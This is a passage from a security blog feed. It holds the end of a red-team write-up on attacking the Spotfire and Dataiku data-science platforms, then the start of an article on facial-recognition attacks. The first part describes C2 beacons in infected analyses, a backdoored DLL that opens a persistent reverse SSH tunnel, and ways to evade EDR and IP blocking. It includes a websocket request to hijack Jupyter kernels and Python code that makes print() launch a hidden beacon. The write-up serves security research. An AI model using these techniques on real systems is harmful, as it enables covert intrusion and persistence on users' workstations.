<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23693" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_17.png" alt="" width="947" height="693" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_17.png 947w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_17-261x191.png 261w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_17-53x39.png 53w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_17-768x562.png 768w" sizes="auto, (max-width: 947px) 100vw, 947px" /></p>
<p style="text-align: center;"><em>Figure 17: Low-level view of the infected analysis file</em></p>
<p>The only limitation is that the <span style="color: #250f6b;"><em>JS</em></span> will only be triggered if the user opens the specific infected page. This can be bypassed<span style="color: #451dc7;"><strong> by redirecting the user to the malicious analysis page </strong></span>when he opens it.</p>
<p>When the user opens the infected analysis, it <span style="color: #451dc7;"><strong>will automatically trigger a data function (which is different from a script)</strong></span>.</p>
<p>The <span style="color: #250f6b;"><em>datafunction</em></span> are functions executed when the project is opened. However, their subset of features is limited. They cannot run important <span style="color: #250f6b;"><em>python</em></span> script on a regular basis.</p>
<p>This data function is configured to <span style="color: #451dc7;"><strong>update a random document property</strong></span>. <span style="color: #250f6b;"><em>Spotfire</em> </span>allows setting up some script hook on properties changed. So, when the property is changed by the data function, <span style="color: #451dc7;"><strong>it will trigger an IronPython script that will display a specific analysis sheet to the user</strong></span><em>. </em></p>
<p> </p>
<p>Once the infected analysis sheet is focused, it will start the python <span style="color: #250f6b;"><em>C2</em></span> beacon on a regular basis through the <span style="color: #250f6b;">JS</span> script as explained before:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23695" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_18.png" alt="" width="947" height="693" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_18.png 947w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_18-261x191.png 261w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_18-53x39.png 53w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_18-768x562.png 768w" sizes="auto, (max-width: 947px) 100vw, 947px" /></p>
<p style="text-align: center;"><em>Figure 18: C2 auto run process</em></p>
<p>When this <span style="color: #250f6b;"><em>C2</em></span> is deployed, it <span style="color: #451dc7;"><strong>will stay alive as long as the infected analysis stay open </strong></span>on the user’s workstation.</p>
<p>The following figure shows the compromise of a user workstation and the execution of a remote python script fetched by the python beacon:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23697" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_19.png" alt="" width="964" height="429" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_19.png 964w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_19-429x191.png 429w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_19-71x32.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_19-768x342.png 768w" sizes="auto, (max-width: 964px) 100vw, 964px" /></p>
<p style="text-align: center;"><em>Figure 19: Command execution on the user workstation</em></p>
<p>In order to compromise as many users as possible, it is possible to infect several projects and wait that users click on them.</p>
<p>Usually, companies have specific project templates store somewhere on the Spotfire server. If you find them, you will automatically infect all project based on this template.</p>
<h2><span style="color: #451dc7;">5.2. Extend compromise time</span></h2>
<p>This <span style="color: #250f6b;"><em>C2</em></span> process is interesting but <span style="color: #451dc7;"><strong>ends when the user closes the infected analysis</strong></span><em>.</em> In order to have a more persistent access to the user computer, the <span style="color: #250f6b;"><em>C2</em> </span>process is <span style="color: #451dc7;"><strong>migrated from Spotfire to another python instance </strong></span>on the user computer.</p>
<p>Indeed, when <span style="color: #250f6b;"><em>Spotfire</em></span> is installed, it also installs a raw <span style="color: #250f6b;"><em>python</em></span> interpreter. Through the initial <span style="color: #250f6b;"><em>C2</em></span>, it is possible, through <span style="color: #250f6b;"><em>OS</em></span> command execution, to write another <span style="color: #250f6b;"><em>C2</em></span> beacon on the user filesystem and <strong><span style="color: #451dc7;">trigger its execution by the raw python interpreter</span></strong>.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23699" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_20.png" alt="" width="947" height="520" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_20.png 947w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_20-348x191.png 348w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_20-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_20-768x422.png 768w" sizes="auto, (max-width: 947px) 100vw, 947px" /></p>
<p style="text-align: center;"><em>Figure 20: C2 without Spotfire restrictions</em></p>
<p>This time, even if the infected analysis is closed, <span style="color: #451dc7;"><strong>the python process will not be killed</strong> </span>as it is not related to <span style="color: #250f6b;"><em>Spotfire</em></span> anymore, <span style="color: #451dc7;"><strong>granting the attacker persistent access to the user computer </strong></span>as long as no reboot is performed.</p>
<p> </p>
<h2><span style="color: #451dc7;">5.3. Access persistency</span></h2>
<h3><span style="color: #451dc7;">5.3.1. DLL Hijacking</span></h3>
<p>Through the <span style="color: #250f6b;"><em>C2</em></span> beacon it is possible to spawn an <span style="color: #250f6b;"><em>SSH</em></span> reverse socks. The reverse <span style="color: #250f6b;"><em>SSH</em></span> socks is enough to access to the internal network, however, it <strong><span style="color: #451dc7;">will be killed when the user computer is shut down </span></strong>and will not be remounted until the user re-open an infected analysis and trigger again the <span style="color: #250f6b;"><em>C2</em></span> beacon execution.</p>
<p>In order to <span style="color: #451dc7;"><strong>get persistence and ensure that the socks will be remounted </strong></span>even if the user computer is rebooted, some <span style="color: #451dc7;"><strong>modification on application files can be performed </strong></span>on the user workstation.</p>
<p>The users compromised through the <span style="color: #250f6b;"><em>Spotfire</em></span> beacon are data analysts and <span style="color: #250f6b;"><em>Spotfire</em></span> is their main tools and more likely <em>the </em><span style="color: #451dc7;"><strong>first application they run when they turn on their computer</strong></span>.</p>
<p>The <span style="color: #250f6b;"><em>Spotfire</em></span> thick client is developed in <span style="color: #250f6b;">C#</span>. Its <span style="color: #250f6b;"><em>DLLs</em> </span>can be easily reversed, and they are stored in the user <em><span style="color: #250f6b;">APPDATA</span> </em>folder. Thus, with a simple access to the user session, it is possible to modify these <span style="color: #250f6b;"><em>DLL</em> </span>without needing specific privilege escalation. Using the <span style="color: #250f6b;"><em>SysInternals</em> <em>Procmon.exe</em></span>, the list of <span style="color: #250f6b;"><em>DLL</em> </span>loaded by <span style="color: #250f6b;"><em>Spotfire</em></span> is found. Then, one of this <span style="color: #250f6b;"><em>DLL</em></span> is reversed engineered and infected as shown in the following figure:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23701" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_21.png" alt="" width="576" height="290" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_21.png 576w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_21-379x191.png 379w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_21-71x36.png 71w" sizes="auto, (max-width: 576px) 100vw, 576px" /></p>
<p style="text-align: center;"><em>Figure 21: DNSpy showing the modified DLL</em></p>
<p>The malicious code injected will <span style="color: #451dc7;"><strong>create a new SSH process mounting a new SSH reverse socks </strong></span>when Spotfire is started.</p>
<p>The <span style="color: #250f6b;"><em>DLL</em></span> is recompiled and uploaded on every compromised user workstation and the <span style="color: #250f6b;"><em>C2</em></span> beacon is modified to execute this action when it detects a new user callback.</p>
<h3><span style="color: #451dc7;">5.3.2. OPSEC consideration</span></h3>
<p>While looking like <span style="color: #250f6b;"><em>DLL</em></span> hijacking, this technique is hardly detectable by an <span style="color: #250f6b;"><em>EDR</em> </span>as the original <span style="color: #250f6b;"><em>DLL</em> </span>has not been swapped by a malicious one as in <span style="color: #250f6b;"><em>DLL</em> <em>Hijacking</em></span> or <span style="color: #250f6b;"><em>DLL</em> <em>Proxying</em></span>. The <span style="color: #250f6b;"><em>DLL</em></span> executed by <span style="color: #250f6b;"><em>Spotfire</em></span> is the original one re-compiled with an additional code spawning a new process.</p>
<p>As the original <span style="color: #250f6b;"><em>Spotfire</em> <em>DLL</em> </span>is not signed, the <span style="color: #250f6b;"><em>EDR</em> </span>cannot detect the modification.</p>
<h3><span style="color: #451dc7;">5.3.3. Resiliency</span></h3>
<p>To avoid being blocked through a firewall rule if the socks <span style="color: #250f6b;"><em>IP</em> </span>is blacklisted, the malicious code implanted in the <span style="color: #250f6b;"><em>Spotfire DLL</em> </span>does not contain a hardcoded remote <span style="color: #250f6b;"><em>IP</em></span>, port and <span style="color: #250f6b;"><em>SSH</em> </span>key, instead, each time it fetches this information from a different remote server.</p>
<p>So even if the <span style="color: #250f6b;"><em>SOC</em> </span>blacklist the <span style="color: #250f6b;"><em>SOCKS IP</em></span>, it is possible to remotely change the <span style="color: #250f6b;"><em>SOCKS </em></span>destination <span style="color: #250f6b;"><em>IP</em> </span>without needing direct access to the compromised users’ computers.</p>
<h1><span style="color: #451dc7;">6. Hide in plain sight</span></h1>
<p>The <em><span style="color: #250f6b;">Dataiku</span> </em>application can be used to masquerade malicious command execution and make it look like performed by another user.</p>
<h2><span style="color: #451dc7;">6.1. Jupyter integration in Dataiku</span></h2>
<p>As said before, the <span style="color: #250f6b;"><em>Dataiku</em></span> exposes a <span style="color: #250f6b;"><em>Jupyter</em></span>-like application. Looking at the <span style="color: #250f6b;"><em>Dataiku</em></span> code and the different process run by the <span style="color: #250f6b;"><em>DSS</em></span> instance, it shows that <span style="color: #250f6b;"><em>Dataiku</em></span> didn’t redevelop a <span style="color: #250f6b;"><em>Jupyter</em></span> like applications <span style="color: #451dc7;"><strong>but simply run a full Jupyter Notebook instance in the background</strong></span>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23703" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_22.png" alt="" width="599" height="248" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_22.png 599w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_22-437x181.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_22-71x29.png 71w" sizes="auto, (max-width: 599px) 100vw, 599px" /></p>
<p style="text-align: center;"><em>Figure 22: Jupyter server running on port 11002</em></p>
<p>Using a simple port forwarding grant access to the <span style="color: #250f6b;"><em>Jupyter</em></span> instance:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23705" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_23.png" alt="" width="545" height="161" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_23.png 545w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_23-437x129.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_23-71x21.png 71w" sizes="auto, (max-width: 545px) 100vw, 545px" /></p>
<p style="text-align: center;"><em>Figure 23: Jupyter instance</em></p>
<p>When executing a <span style="color: #250f6b;"><em>Jupyter</em></span> cell, it is possible, by performing a network capture, to see the <span style="color: #250f6b;"><em>TCP</em></span> communication between the Dataiku instance and the <span style="color: #250f6b;"><em>Jupyter</em></span> backend:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23707" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_24.png" alt="" width="873" height="204" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_24.png 873w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_24-437x102.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_24-71x17.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_24-768x179.png 768w" sizes="auto, (max-width: 873px) 100vw, 873px" /></p>
<p style="text-align: center;"><em>Figure 24: TCP packet</em></p>
<p>This shows that the Dataiku instance fully exposes the <span style="color: #250f6b;"><em>Jupyter kernel</em> </span>and additional investigation shows that the <span style="color: #250f6b;"><em>API TOKEN</em> </span>used by <span style="color: #250f6b;"><em>Dataiku</em></span> to communicate with the <span style="color: #250f6b;"><em>Jupyter</em></span> backend is the same whatever the <span style="color: #250f6b;"><em>Jupyter Notebook</em> </span>loaded.</p>
<p>Thus, any user with access to the <span style="color: #250f6b;"><em>Jupyter Notebook</em> </span>feature <span style="color: #451dc7;"><strong>is able to execute code on any Jupyter Kernel loaded</strong> </span>as long as it has the <span style="color: #250f6b;"><em>kernel ID</em></span>. Hopefully, the kernels ids are shown in the process command lines. Thus, the following code can be used to retrieve all kernel id:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23709" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_25.png" alt="" width="645" height="115" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_25.png 645w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_25-437x78.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_25-71x13.png 71w" sizes="auto, (max-width: 645px) 100vw, 645px" /></p>
<p style="text-align: center;"><em>Figure 25: Kernel ID retrieval</em></p>
<p> </p>
<h2>6.2. Hide request execution</h2>
<p>Once the kernel id is retrieved, it is <span style="color: #451dc7;"><strong>possible to create a session on the kernel</strong></span>:</p>
<pre><code>GET /jupyter/api/kernels/0ab25b8f-1714-4bc9-8449-c09faf5c2e29/channels?session_id=c8c6a227ea3c465c82e39c403ba705a18 HTTP/1.1</code><br /><code>Host: 10.125.3.111:11000</code><br /><code>&lt;SNIP&gt;</code><br /><code>Origin: http://10.125.3.111:11000</code><br /><code>Sec-WebSocket-Key: obLqAtXNc/KxMJOp27qxIQ==</code><br /><code>Connection: keep-alive, Upgrade</code><br /><code>Cookie: &lt;SNIP&gt;</code><br /><code>Pragma: no-cache</code><br /><code>Cache-Control: no-cache</code><br /><code>Upgrade: websocket</code></pre>
<p>This request will create a websocket to communicate with the <em>Jupyter</em> kernel. <strong><span style="color: #451dc7;">No specific access control is performed on this endpoint</span></strong>. As long as you are authorized to execute any <span style="color: #250f6b;"><em>Jupyter</em> </span>notebook, you can connect to any <span style="color: #250f6b;"><em>Jupyter</em></span> kernel even if you cannot access to the notebook using the <span style="color: #250f6b;"><em>UI</em></span> interface.</p>
<p>It is then possible to use the websocket to send command to execute to the python kernel:</p>
<pre><code>{</code><br /><code>  "header": {</code><br /><code>    "msg_id": "ef46ce660d49457c890ce550420ed921",</code><br /><code>    "username": "username",</code><br /><code>    "session": "f4fe997b336f4a019c4c6837df699d30",</code><br /><code>    "msg_type": "execute_request",</code><br /><code>    "version": "5.2"</code><br /><code>  },</code><br /><code>  "metadata": {},</code><br /><code>  "content": {</code><br /><code>    "code": "print('test')",</code><br /><code>    "silent": false,</code><br /><code>    "store_history": true,</code><br /><code>    "user_expressions": {},</code><br /><code>    "allow_stdin": true,</code><br /><code>    "stop_on_error": true</code><br /><code>  },</code><br /><code>  "buffers": [],</code><br /><code>  "parent_header": {},</code><br /><code>  "channel": "shell"</code><br /><code>}</code></pre>
<p>What is interesting is that the command is executed, <strong><span style="color: #451dc7;">but not saved in any Jupyter cell leading to invisible command execution </span></strong>as long as the kernel is alive.</p>
<p>Moreover, if you modify the value of a specific variable, it will be persistent. So, if you send the python command:</p>
<pre><code>def hijacked_print(value):</code><br /><code>    import sys</code><br /><code>    process = subprocess.Popen(‘YOUR BEACON’, stdout=subprocess.PIPE, shell=False)</code><br /><code>    sys.stdout.write('hijacked print: {}'.format(value))</code><br /><br /><code>print = hijacked_print</code></pre>
<p>The beacon will be executed when a user uses the print command and because the previous python execution didn’t let any trace behind, good luck to detect it and find which user has been compromised.</p>
<h1><span style="color: #451dc7;">7. Conclusion</span></h1>
<p>The datascience applications <span style="color: #451dc7;"><strong>are useful in any step of the killchain</strong></span>. For a remote attacker, they can be used as an initial entry point on the information system, they can be leveraged to find insecurely stored credentials to rebound on the information system, their scripting capabilities can be used to <span style="color: #451dc7;"><strong>spread malicious beacon among several users </strong></span>and the data they contain can be easily stolen and exfiltrated.</p>
<p>These applications <span style="color: #451dc7;"><strong>are undercut by either attackers or IT department</strong></span>. A simple compromise of one of these applications can lead to a huge impact on the whole information system.</p>
<p>It is time to for the infosec to start integrating buzzword as BigData and machine learning in the killchain, attacker already did it&#8230;</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2024/07/datascience-for-redteam-extend-your-attack-surface/">DataScience for RedTeam: Extend your attack surface</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2024/07/datascience-for-redteam-extend-your-attack-surface/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>The different faces of Facial Recognition: operation and attacks </title>
		<link>https://www.riskinsight-wavestone.com/en/2024/06/the-different-faces-of-facial-recognition-operation-and-attacks/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2024/06/the-different-faces-of-facial-recognition-operation-and-attacks/#respond</comments>
		
		<dc:creator><![CDATA[Thomas Rousseau]]></dc:creator>
		<pubDate>Mon, 10 Jun 2024 14:55:16 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Digital Identity]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=23272</guid>

					<description><![CDATA[<p>Among the technologies that seemed like science fiction only a few decades ago and are now an integral part of the digital ecosystem, Facial Recognition (FR) holds a prominent place. Indeed, this tool is increasingly present in our daily lives:...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2024/06/the-different-faces-of-facial-recognition-operation-and-attacks/">The different faces of Facial Recognition: operation and attacks </a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p aria-level="1"><span data-contrast="auto">Among the technologies that seemed like science fiction only a few decades ago and are now an integral part of the digital ecosystem, Facial Recognition (FR) holds a prominent place. Indeed, this tool is increasingly present in our daily lives: unlocking our phones, customs gates at airports, authentication for payment systems, automated sorting of our photos, and even person search.</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;201341983&quot;:0,&quot;335559738&quot;:240,&quot;335559739&quot;:0,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<h1><span data-contrast="none">Demystification of operation</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></h1>
<p> </p>
<p><span data-contrast="auto">These technologies aim to identify and extract faces from images or video streams to calculate a facial imprint, encapsulating all of their features, in order to facilitate a subsequent search and identification.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">The idea of using the face as a form of identification in systems, as well as the earliest functional systems, dates back to the early 1960s with the Woodrow Wilson Bledsoe System (1964). The Woodrow Wilson Bledsoe System was capable of recognizing faces by analyzing digitized photos. The system’s approach relied on identifying facial features such as the distance between the eyes and the width of the nose.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">The latest advancements in artificial intelligence, particularly with the advent of Machine Learning and the explosion of shared photos and videos on the internet, have allowed for rapid and widespread development of facial recognition algorithms.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">In practice, these systems will rely on the images captured by our smartphones and cameras, which consist of a grid of pixels, each carrying the values of the three colors: red, green, and blue for the respective pixel. Unlike human vision, the FR system will perceive these images in a completely digital form. The algorithm of RF will typically follow steps for processing:</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<ol>
<li data-leveltext="%1." data-font="" data-listid="2" data-list-defn-props="{&quot;335552541&quot;:0,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769242&quot;:[65533,0],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;%1.&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="1" data-aria-level="1"><span style="text-decoration: underline;">Capturing the image:</span><span data-contrast="auto"> It all begins with capturing an image containing a face. This image can come from a photo taken by a camera or be extracted from a video.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li><span style="text-decoration: underline;">Face detection:</span><span data-contrast="auto"> The algorithm will analyze the image to detect the presence and position of faces. To do this, it will use image processing techniques to search for patterns and characteristic features of faces, such as contours, structural elements (like eyes), and variations in brightness.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li data-leveltext="%1." data-font="" data-listid="2" data-list-defn-props="{&quot;335552541&quot;:0,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769242&quot;:[65533,0],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;%1.&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="3" data-aria-level="1"><span data-contrast="auto"><span style="text-decoration: underline;">Extraction of facial features from the person</span>:</span><span data-contrast="auto"> Once the face is detected, the algorithm extracts specific characteristics that will allow it to distinguish it from other faces. These characteristics include intelligible elements (eye position, overall shape, etc) as well as elements intelligible only to the AI model (gradients and specific pixel arrangements).</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li><span data-contrast="auto"><span style="text-decoration: underline;">Creation of a facial imprint</span>: </span><span data-contrast="auto">Based on the extracted features, the algorithm creates a facial imprint, which is essentially a summary of the face, in a digital format understandable for the model. </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li data-leveltext="%1." data-font="" data-listid="2" data-list-defn-props="{&quot;335552541&quot;:0,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769242&quot;:[65533,0],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;%1.&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="5" data-aria-level="1"><span data-contrast="auto"><span style="text-decoration: underline;">Comparison with the database</span>:</span><span data-contrast="auto"> In order to perform identifications and searches, the obtained facial imprint can be compared with fingerprint or image databases. The matches found will generally indicate a confidence percentage, based on the calculated level of resemblance.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
</ol>
<p><span data-contrast="auto">Nowadays, the underlying mechanics of image processing and machine learning can offer excellent performance in terms of speed and consistency of results. However, like other automated technological services, they can be vulnerable to cyber security threats and may, in some cases, be exploited by an attacker.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p> </p>
<h1><span data-contrast="none">Overview of attacks and weaknesses</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></h1>
<p> </p>
<p><span data-contrast="auto">The objective will not be to enumerate all potential attacks on machine learning systems, but to focus on attacks that can target RF algorithms. The main typologies are as follows:</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559685&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559685&quot;:720,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span style="text-decoration: underline;">Adversary attacks:  </span><br /><span data-contrast="none">The first cracks in the armor of FR algorithms, discovered in the 2010s, involve subtly introducing very slight noise into the images sent to the system. This alteration, nearly invisible to a human, can disrupt the fine features perceived by the model and intentionally lead to errors in understanding and classification by the underlying neural network. If an attacker can alter the sent images, someone with good knowledge of the system could potentially impersonate a user.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559685&quot;:720,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23251" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/Picture_1_English.png" alt="" width="1457" height="584" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/Picture_1_English.png 1457w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/Picture_1_English-437x175.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/Picture_1_English-71x28.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/Picture_1_English-768x308.png 768w" sizes="auto, (max-width: 1457px) 100vw, 1457px" /></p>
<p style="text-align: center;"><i><span data-contrast="none">Example of adversary attack</span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559739&quot;:200,&quot;335559740&quot;:240}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559685&quot;:720,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span style="text-decoration: underline;">Occlusion attacks </span><br /><span data-contrast="none">Since 2015, researchers have been able to put into practice attacks where occlusion of parts of the face, such as wearing glasses or masks, can deceive certain FR models. Indeed, the model may fail to detect and extract faces from captured images, or extract inconsistent features. In both cases, such attacks allow for subject anonymization.</span> <br /><span data-ccp-props="{&quot;134245418&quot;:true,&quot;201341983&quot;:0,&quot;335559685&quot;:720,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> <img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23255" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/Picture_2_Both.png" alt="" width="600" height="185" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/Picture_2_Both.png 600w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/Picture_2_Both-437x135.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/Picture_2_Both-71x22.png 71w" sizes="auto, (max-width: 600px) 100vw, 600px" /></span></p>
<p style="text-align: center;"><i><span data-contrast="none">Examples of occlusion technique</span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559739&quot;:200,&quot;335559740&quot;:240}"> </span></p>
<p> <br /><span style="text-decoration: underline;">Face substitution attacks </span></p>
<p><span data-contrast="auto">Like spy movies, researchers have explored face substitution attacks, using sophisticated techniques to deceive systems by presenting artificial faces that resemble real ones. These techniques can range from simple cardboard masks to custom-made silicone masks replicating a person&#8217;s face and details. These attacks have raised concerns about the reliability of facial recognition systems in real-world scenarios.</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;201341983&quot;:0,&quot;335559685&quot;:720,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;134245418&quot;:true,&quot;201341983&quot;:0,&quot;335559685&quot;:720,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">Note that some facial recognition systems (such as Microsoft&#8217;s Windows Hello) rely on infrared cameras to ensure they are facing a genuine face.</span> <br /><span data-ccp-props="{&quot;134245418&quot;:true,&quot;201341983&quot;:0,&quot;335559685&quot;:720,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> <img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23257" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/Picture_3_Both.png" alt="" width="468" height="217" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/Picture_3_Both.png 468w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/Picture_3_Both-412x191.png 412w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/06/Picture_3_Both-71x33.png 71w" sizes="auto, (max-width: 468px) 100vw, 468px" /></span></p>
<p style="text-align: center;"><i><span data-contrast="none">Procedure for creating a face for a face substitution attack</span></i> <br /> <br /><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559685&quot;:720,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span style="text-decoration: underline;">Superposition attacks </span></p>
<p><span data-contrast="auto">In some cases, simply overlaying a patch on another image can mislead FR algorithms. It is possible to calculate the image that best represents a person or object (in our case, a toaster) from the model&#8217;s perspective, and insert this element into the image we want to manipulate. The FR model will tend to focus on this area, potentially completely altering its predictions.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559685&quot;:720,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
